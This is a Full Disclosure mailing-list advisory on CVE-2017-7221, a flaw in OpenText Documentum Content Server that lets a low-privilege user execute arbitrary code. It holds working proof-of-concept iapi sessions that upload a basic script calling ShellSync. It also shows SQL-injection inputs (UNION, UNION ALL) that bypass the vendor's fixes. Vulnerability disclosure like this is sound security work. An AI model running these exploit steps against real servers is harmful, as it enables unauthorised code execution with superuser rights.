Full Disclosure mailing list archives
CVE-2017-7221. OpenText Documentum Content Server: arbitrary code execution in dm_bp_transition.ebs docbase method
From: "Andrey B. Panfilov" <andrew () panfilov tel>
Date: Tue, 25 Apr 2017 03:38:28 +1000
CVE Identifier: CVE-2017-7221 Vendor: OpenText Affected products: OpenText Documentum Content Server (all versions) Researcher: Andrey B. Panfilov Severity Rating: CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Fix: not available PoC: https://gist.github.com/andreybpanfilov/0a4fdfad561e59317a720e702b0fec44 Description: all versions of Documentum Content Server contain dm_bp_transition docbase method ("stored procedure”) which is written on basic, implementation of this docbase methods does not properly validate user input which allows attacker to execute arbitrary code with superuser privileges. Related code snippet is: ==========================================8<======================================== 'Evaluate the user-defined entry criteria If (result = True And run_entry = "T") Then If (debug = True) Then PrintToLog sess, "Run user defined entry criteria." End If ' ' researcher comment: ' userEntryID parameter is controlled by attacker ' result = RunProcedure(userEntryID, 1, sess, sysID,_ user_name, targetState) End If ... ' ' researcher comment: ' procID parameter is controlled by attacker ' Function RunProcedure(procID As String, procNo As Integer,_ sessID As String, objID As String, userName As String,_ targetState As String) As Boolean ... StartIt: If (procID <> "0000000000000000") Then result = CheckStatus("", 1, "loading procedure " & procID, True, errorMsg) ' ' researcher comment: ' here basic interpreter loads content of user-provided script ' from underlying repostiory using following technique: ' ' checking that it is dealing with dm_procedure object ' (check was introduced in CVE-2014-2513): ' id,c,dm_procedure where r_object_id='procID' ' ' getting content of basic script ' fetch,c,procID ' getpath,c,l ' result = external(procID) If (result = True) Then If (procNo = 1) Then ' --- Running user-defined entry criteria --- result = CheckStatus("", 1, "Running EntryCriteria", True, errorMsg) On Error Goto NoFunction ' ' researcher comment ' here dmbasic interpreter executes user defined function ' result = EntryCriteria(sessID, objID, userName,_ targetState, errorStack) If (result = False) Then errorStack = "[ErrorCode] 1500 [ServerError] " + _ errorStack End If ==========================================>8======================================== So, attacker is able to create it’s own basic procedure in repository and pass it’s identifier as argument for dm_bp_transition procedure: ==========================================8<======================================== $ cat /tmp/test cat: /tmp/test: No such file or directory $ cat > test.ebs Public Function EntryCriteria(ByVal SessionId As String,_ ByVal ObjectId As String,_ ByVal UserName As String,_ ByVal TargetState As String,_ ByRef ErrorString As String) As Boolean t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test") EntryCriteria=True End Function $ iapi Please enter a docbase name (docubase): repo Please enter a user (dmadmin): unprivileged_user Please enter password for unprivileged_user: EMC Documentum iapi - Interactive API interface (c) Copyright EMC Corp., 1992 - 2011 All rights reserved. Client Library Release 6.7.1000.0027 Connecting to Server using docbase repo [DM_SESSION_I_SESSION_START]info: "Session 0101d920800b1a37 started for user unprivileged_user." Connected to Documentum Server running Release 6.7.1090.0170 Linux.Oracle Session id is s0 API> create,c,dm_procedure ... 0801d920804e5416 API> set,c,l,object_name SET> test ... OK API> setfile,c,l,test.ebs,crtext ... OK API> save,c,l ... OK API> ?,c,execute do_method with method='dm_bp_transition', arguments='repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 0801d920804e5416 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' (1 row affected) API> Bye $ cat /tmp/test dm_bp_transition_has_vulnerability ==========================================>8======================================== Vendor was been notified about this vulnerability on November 2013 using customer support channel, after a while vendor started claiming that this vulnerability was remediated, though no CVE was announced. Moreover, the fix was contested and CERT/CC started tracking this vulnerability, the PoC provided to CERT/CC was: ==========================================8<======================================== Vendor have decided that the root cause of problem is users are able to create dm_procedure objects, and now in Documentum Content Server v6.7SP1P26 we have following behavior: [DM_SESSION_I_SESSION_START]info: "Session 0101d920800f0174 started for user unprivileged_user." Connected to Documentum Server running Release 6.7.1260.0322 Linux.Oracle Session id is s0 API> create,c,dm_procedure ... 0801d920805929d0 API> set,c,l,object_name SET> test ... OK API> setfile,c,l,test.ebs,crtext ... OK API> save,c,l ... [DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user (unprivileged_user) needs to have superuser or sysadmin privilege." BUT: API> create,c,dm_document ... 0901d920805929dd API> set,c,l,object_name SET> test ... OK API> setfile,c,l,test.ebs,crtext ... OK API> save,c,l ... OK API> ?,c,execute do_method with method='dm_bp_transition',arguments='repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 0901d920805929dd 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' (1 row affected) .... API> Bye ~]$ cat /tmp/test dm_bp_transition_has_vulnerability ~]$ ==========================================>8======================================== On July 2014 vendor announced ESA-2014-064 which was claiming that vulnerability has been remediated. On November 2014 fix was contested (there was significant delay after ESA-2014-064 because vendor constantly fails to provide status of reported vulnerabilities) by providing another proof of concept, description provided to CERT/CC was: ==========================================8<======================================== I have tried to reproduce PoC, described in VRF#HUFPRMOP, and got following error: [ErrorCode] 1000 [Parameter] 0801fd08805c9dfe [ServerError] Unexpected error: [DM_API_W_NO_MATCH]warning: "There was no match in the docbase for the qualification: dm_procedure where r_object_id = '0801fd08805c9dfe'" Such behaviour means that EMC tried to remediate a security issue by "checking" object type of supplied object: Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle Session id is s0 API> id,c,dm_procedure where r_object_id = '0801fd08805c9dfe' ... [DM_API_W_NO_MATCH]warning: "There was no match in the docbase for the qualification: dm_procedure where r_object_id = '0801fd08805c9dfe'" API> Bye bin]$ strings dmbasic| grep dm_procedure id,%s,dm_procedure where object_name = '%s' and folder('%s') id,%s,dm_procedure where r_object_id = '%s' # old version of dmbasic binary bin]$ strings dmbasic| grep dm_procedure bin]$ So, the fix was implemented in dmbasic binary, the problem is neither 6.7 SP2 P15 nor 6.7 SP1 P28 patches contain dmbasic binary - the first patch that was shipped with dmbasic binary was 6.7SP2 P17. Moreover, the issue is still reproducible because introduced check could be bypassed using SQL injection: ~]$ cat test.ebs Public Function EntryCriteria(ByVal SessionId As String,_ ByVal ObjectId As String,_ ByVal UserName As String,_ ByVal TargetState As String,_ ByRef ErrorString As String) As Boolean t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test") EntryCriteria=True End Function ~]$ cat /tmp/test cat: /tmp/test: No such file or directory ~]$ iapi Please enter a docbase name (docubase): repo Please enter a user (dmadmin): test01 Please enter password for test01: EMC Documentum iapi - Interactive API interface (c) Copyright EMC Corp., 1992 - 2011 All rights reserved. Client Library Release 6.7.2190.0142 Connecting to Server using docbase repo [DM_SESSION_I_SESSION_START]info: "Session 0101fd088014000c started for user test01." Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle Session id is s0 API> create,c,dm_sysobject ... 0801fd08805c9dfe API> set,c,l,object_name SET> test ... OK API> setfile,c,l,test.ebs,crtext ... OK API> save,c,l ... OK API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS=' repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 "0801fd08805c9dfe,'' union select r_object_id from dm_sysobject where r_object_id=''0801fd08805c9dfe" 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' ... (1 row affected) API> Bye ~]$ cat /tmp/test dm_bp_transition_has_vulnerability ~]$ Here "union ..." allows to bypass check based on "id" call: Connected to Documentum Server running Release 6.7.2190.0198 Linux.Oracle Session id is s0 API> id,c,dm_procedure where r_object_id='0801fd08805c9dfe,' union select r_object_id from dm_sysobject where r_object_id='0801fd08805c9dfe' ... 0801fd08805c9dfe API> apply,c,,GET_LAST_SQL ... q0 API> next,c,q0 ... OK API> get,c,q0,result ... select all dm_procedure.r_object_id from dm_procedure_sp dm_procedure where ((dm_procedure.r_object_id='0801fd08805c9dfe,')) and (dm_procedure.i_has_folder = 1 and dm_procedure.i_is_deleted = 0) union select all dm_sysobject.r_object_id from dm_sysobject_sp dm_sysobject where ((dm_sysobject.r_object_id= '0801fd08805c9dfe')) and (dm_sysobject.i_has_folder = 1 and dm_sysobject.i_is_deleted = 0) API> close,c,q0 ... OK Comma is required to bypass error in fetch call: API> fetch,c,0801fd08805c9dfe' union select r_object_id from dm_sysobject where r_object_id='0801fd08805c9dfe ... [DM_API_E_BADID]error: "Bad ID given: 0801fd08805c9dfe' union select r_object_id from dm_sysobject where r_object_id= '0801fd08805c9dfe" API> fetch,c,0801fd08805c9dfe,' union select r_object_id from dm_sysobject where r_object_id='0801fd08805c9dfe ... OK ==========================================>8======================================== On August 2015 vendor had undertaken another attempt to remediate this vulnerability check ESA-2015-131/CVE-2015-4533 for details. On August 2015 the fix was contested, check http://seclists.org/bugtraq/2015/Aug/110 for detailed description - I just demonstrated another attack vector - using UNION ALL keyword instead of UNION: =================================8<================================ API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS=' repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 "0801fd08805c9dfe,'' union select r_object_id from dm_sysobject where r_object_id=''0801fd08805c9dfe" 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' [DM_METHOD_E_METHOD_ARGS_INVALID]error: "The arguments being passed to the method 'dm_bp_transition' are invalid: arguments contain sql keywords which are not allowed." New attack vector (note ALL keyword): API> ?,c,execute do_method WITH METHOD='dm_bp_transition', ARGUMENTS=' repo repo dmadmin "" 0000000000000000 0000000000000000 0000000000000000 "0801fd08805c9dfe,'' union all select r_object_id from dm_sysobject where r_object_id=''0801fd08805c9dfe" 0000000000000000 0000000000000000 0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000' =================================>8================================ Recently I have noticed that latest versions of Documentum Content Server are not affected by the PoC provided above, however all versions of Documentum Content Server are still vulnerable because vendor incorrectly implemented input validation: they convert arguments to lower/upper-case, replace line feed, carriage return and tab characters by a space, remove double spaces, after that they check where resulting string contains special keywords ('union ' and 'union all') or not - it is possible to use other whitespace characters like backspace, which is demonstrated in the PoC. __ Regards, Andrey B. Panfilov
Attachment:
CVE-2017-7221.py
Description:
_______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- CVE-2017-7221. OpenText Documentum Content Server: arbitrary code execution in dm_bp_transition.ebs docbase method Andrey B. Panfilov (Apr 25)